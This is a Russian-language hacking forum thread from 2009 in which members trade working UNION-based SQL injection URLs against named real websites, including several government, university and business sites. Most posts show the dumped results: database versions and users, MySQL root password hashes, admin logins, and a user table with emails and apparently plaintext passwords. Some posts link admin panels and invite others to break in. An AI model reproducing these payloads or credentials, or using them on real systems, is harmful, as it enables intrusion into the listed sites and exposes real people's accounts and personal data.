SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.casatineretului.ro/index.php?news=-354+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8




    Database Version: 5.0.58-log
    Database name: casatineretului_db
    User name: casatineretuluiu@localhost
     
    1 person likes this.
  2. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://minzdrav.saratov.gov.ru/Institutions.php?mid=&id=620+union+select+1,concat(version(),database(),0x3a,user()),3,4,5,6,7,8/*
    version() 5.0.27
    database() minzdrav
    user() [email protected]

    Code:
    http://minzdrav.saratov.gov.ru/Institutions.php?mid=&id=620+union+select+1,concat(table_name,0x3a,column_name),3,4,5,6,7,8+from+information_schema.columns/*
    Code:
    http://minzdrav.saratov.gov.ru/Institutions.php?mid=&id=620+union+select+1,concat(user_name,0x3a,user_password,0x3a,user_mail),3,4,5,6,7,8+from+admin_users/*
    Администратор:986ae29fac8cd4578a8ebe166eda05c6:[email protected]

    press:25f9e794323b453885f5181f1b624d0b:[email protected]

    Макс:c4ca4238a0b923820dcc509a6f75849b:123
    _____

    Code:
    http://www.maineservicecommission.gov/news/release.php?nID=1289+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+limit+1,1/*
    version() 4.1.22
    databse() mccs_pcm
    user() d43d4lus@localhost
    ___
    Code:
    http://www.colerainebc.gov.uk/news/event_item.php?nid=3238+union+select+1,2,3,4,5,6,7,8,9,10,11+from+mysql.user+limit+1,1/*
    Code:
    http://www.colerainebc.gov.uk/news/event_item.php?nid=3238+union+select+1,concat(user,0x3a,password),3,4,5,6,7,8,9,10,11+from+mysql.user+limit+1,1/*
    root:4e2af55f0f094ddc
    ____
    Code:
    http://sonoivu.hanoi.gov.vn/news_print.php?nid=163+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8+limit+1,1
    version() 5.0.51a-community-nt
    database() sonoivu
    user() sonoivu@localhost

    Code:
    http://sonoivu.hanoi.gov.vn/news_print.php?nid=163+union+select+1,concat(user,0x3a,password),3,4,5,6,7,8+from+mysql.user+limit+1,1
    root:*BB163059370C00C75F2DE2AB6719A12FD985AA2E
     
    #8382 M.W.N.N., 18 Mar 2009
    Last edited: 19 Mar 2009
  3. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.fotoclubbing.ro/detalii_afis.php?id=-717+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user())



    Database Version: 4.0.27-standard
    Database name: fotoclub_fotoclub
    User name: fotoclub_foto@localhost
     
    1 person likes this.
  4. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.tonar.info/prod/dumper.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,vers ion(),database(),user()),13,14,15,16,17,18--
    Database Version : 4.1.22-log
    Database name : tonar
    User name : tonar-sql@localhost


    юзвери :

    Code:
    http://www.tonar.info/prod/dumper.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,username,pas sword),13,14,15,16,17,18+from+users--
     
  5. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    http://www.uvm.edu/~sgaclubs/club_detail.php?CID=31+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8+from+SGA_ADMIN+where+ID=1--
    admin:1692e00a7c8826a55a0a21d695b6bdfe (silvers)

    adminka
    https://www.uvm.edu/~sgaclubs/admin/

    Правда не входит ((
     
  6. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.cemt.ro/display.php?id=30/**/UNION/**/SELECT/**/1,2,3/**/LIMIT/**/1,1/*

    Database Version: 4.1.22-max-log
    Database name: cemt
    User name: [email protected]

    http://www.newallies.ro/display.php?id=-12/**/UNION/**/SELECT/**/1,2,3/**//*
    Database Version: 4.1.22-max-log
    Database name: newallies
    User name: [email protected]

    http://ccd.eduhr.ro/display.php?id=128+union+select+1,concat(user,0x3a,password)+from+mysql.user+limit+1,1/*

    root:18e5216c5a99ef9a

    Database Version: 4.1.20
    Database name: ccd
    User name: ccd@localhost
     
    #8386 Rubaka, 19 Mar 2009
    Last edited: 19 Mar 2009
  7. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.man.gov.np/newsdetails.php?nid=35+union+select+1,2,concat(version(),0x3a,database(),0x3a,user())+limit+1,1/*
    version(): 4.1.22-standard
    database(): mountain_mountain
    user(): mountain_mountai@localhost
    ____

    Code:
    http://www.bangladeshtourism.gov.bd/news_detail.php?nid=3+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5
    version():5.0.67-community
    database():bglade_mms
    user():bglade_mms@localhost
     
    #8387 M.W.N.N., 19 Mar 2009
    Last edited: 19 Mar 2009
    1 person likes this.
  8. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://shop.completdesign.com/detalii.php?id=-17+union+select+1,concat_ws(0x3a,version(),database(),useR()),3,4,5,6,7,8,9,10



    Database Version: 5.0.67-community-log
    Database name: completd_shop
    User name: completd_sorin@localhost
     
    1 person likes this.
  9. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.autofirm.ru/news/index.php?&news_id=999999999+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database( ),user()),8,9,10,11,12--&action=news
    Database Version : 4.1.22-log
    Database name : :wiru
    User name : wiru@localhost
     
  10. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Хотел спокойно послушать одну песенку на ютюбе, но был обескуражен наглым сообщением:

    Совсем охренели :\

    http://www.cookingvinyl.com/release_info.php?id=-14+union+select+1,2,3,4,5,6,7,8,concat_ws(0x2F,username,password,email),1,1,1,1,1,1+from+users/*

    admin/da6b9dce75dd25debe6b42e3cfd78657/[email protected]
     
    2 people like this.
  11. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    ElteRUS
    это кто еще охринел))))

    ncsu.edu
    byuh.edu
     
    2 people like this.
  12. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.upk1.ru/index.php?spo2_id=-95+union+select+concat_ ws(0x3a,version(),database(),user()),2--
    Database Version : 5.0.67-log
    Database name : computer_upk1
    User name : computer_upk1@localhost
     
    1 person likes this.
  13. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163

    Database Version:
    5.0.67-LOG
    Database name: U19285
    User name: [email protected]


    Database Version: 5.0.67-percona-b5-log
    Database name: hotel3d
    User name: hotel3d@localhost
     
  14. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    Code:
    http://www.macmurph.com/photodb/picture.php?picture_id=-6+union+select+1,2,3,concat(version(),0x3a,user(),0x3a,database()),5,6,7,8,9,10/*
    Database Version: 4.1.22-max-log
    Database name: MacMurph
    User name: [email protected]

    Code:
    http://www.beatsdigital.com/index.php?track_id=1+union+select+concat(user,0x3a,password)+from+mysql.user
    Database Version: 5.0.77
    Database name: beats_digital
    User name: cms_internal@localhost

    Code:
    http://www.submityourarticle.com/syndicate/synd_author.php?w_id=0+union+select+1,concat(username,0x3a,password),3+from+admin/*
    Database Version: 5.0.45-log
    Database name: submit
    User name: submit@localhost

    Code:
    http://www.pubdistrict.com/gallery_view.php?e_id=-14+union+select+1,concat(member_username,0x3a,member_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+members--
    Database Version: 5.0.67-community
    Database name: pubdistr_db
    User name: pubdistr_user@localhost


    Code:
    http://www.gamingillustrated.com/review.php?review_id=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat(version(),0x3a,user(),0x3a,database()),19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43/*&subcat_id=1
    Database Version: 5.0.27-community-nt
    Database name: reviews
    User name: webgi@localhost
     
    4 people like this.
  15. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.hornady.com/display.php?t=22+union+select+1,2,3,4,55,6,7,8,9,0,1/*

    Database Version: 4.0.27
    Database name: hornady
    User name: hornady@localhost

    http://www.hornady.com/admin --------- админка

    есть таблица users:email,name,password

    [1]:[email protected]:Admin:interLock
    [2]:[email protected]:Greg Hanson:djkcmb
    [3]:[email protected]:James Ehly:ehlydesign
    [4]:[email protected]:sherma jones:makayla1989
    [5]:[email protected]:Duane Norris:interLock
    [6]:[email protected]:Julie Fahrlander:sheba
    [7]:[email protected]:Renae Waltemath:hotrod
    [8]:[email protected]:Anthony May:anthony
    [9]:[email protected]:Matt Hodtwalker:ideabank07

    хто зайдеть отпишите в личку, первые 2 usera попробавал нифига
     
    1 person likes this.
  16. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    site : http://www.l-oko.ru

    Code:
    http://www.l-oko.ru/article.php?id=-673'+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user()),10,11,12--+
    database : 5.1.30
    name database : pashockz_lokonew
    user : pashockz_lokonew@localhost

    table_name : phpbb_users
    users:

    1)pashockz::133285ad47ca57fec643188e5375843b -/-/:(
    2)Wel::4b2cf057b0ea7e5b81ad73f4b3ac8196 -/-/-/:(
    3)tanya:cnhfyyfz :)
    4)nebel::72c56fc02d124f8bd4d635c179ad62f7-/-/-:(
    5)truth addict::55e3f0fd4a74c993864f1147e9e4edc7-/-/-/:(
    +limit+1,1--+
     
  17. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    www.sierravistamall.com

    Code:
    http://www.sierravistamall.com/~sierravi/news.php?ax=v&n=1&id=18&nid=-3+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--
    version:user:database
    4.1.22-standard-log:sierravi_admin@localhost:sierravi_cms
     
    1 person likes this.
  18. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Юридическая фирма «Правозахист Украина», г. Донецк
    Code:
    http://www.pravozahyst.com/news_read.php?id=-19+union+select+1,2,3,concat(version(),0x3a,database(),0x3a,user())--
    user(): pravozah_main
    database(): pravozah_user@localhost
    version(): 5.0.51a-community-log
     
    3 people like this.
  19. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Блин извините за баянский сайт www.dswd.gov.ph.....Поспешил черт....


    Version: 4.1.16-standard-log
    Database: unionevents
    User: [email protected]




    Магазин Чипсеты итд....

    Database Version: 5.0.67-community-log
    Database name: ghielect_main
    User name: ghielect_user@localhost
     
    #8399 spherics, 19 Mar 2009
    Last edited: 19 Mar 2009
    1 person likes this.
  20. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    Code:
    http://www.canineconnection.info/index.php?id=-56+union+select+version(),2,3,4,5,6--
    {вывод в title}
    Database Version: 5.0.67-community
    Database name: canine_content
    User name: canine_connectio@localhost

    http://www.canineconnection.info/admin
    admin:canine

    Code:
    http://www.globaldance.info/shownews.php?news=-2857+union+select+1,2,3,4,5,6,7,8,9--
    Database Version: 4.1.22-standard
    Database name: dlobaldanc_db01
    User name: [email protected]

    Code:
    http://www.nasnegu.ru/index.php?s=3&m=62+union+select+1,2--
    Database Version: 5.0.67
    Database name: grandtour
    User name: [email protected]

    Code:
    http://autostate.ru/warehouse/viewmoscow.php?au=1&id=-1487+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1--
    Database Version: 4.1.16
    Database name: autosta2_warehouse
    User name: autosta2_sql@localhost
     
    #8400 F4R, 19 Mar 2009
    Last edited by a moderator: 19 Mar 2009
Thread Status:
Not open for further replies.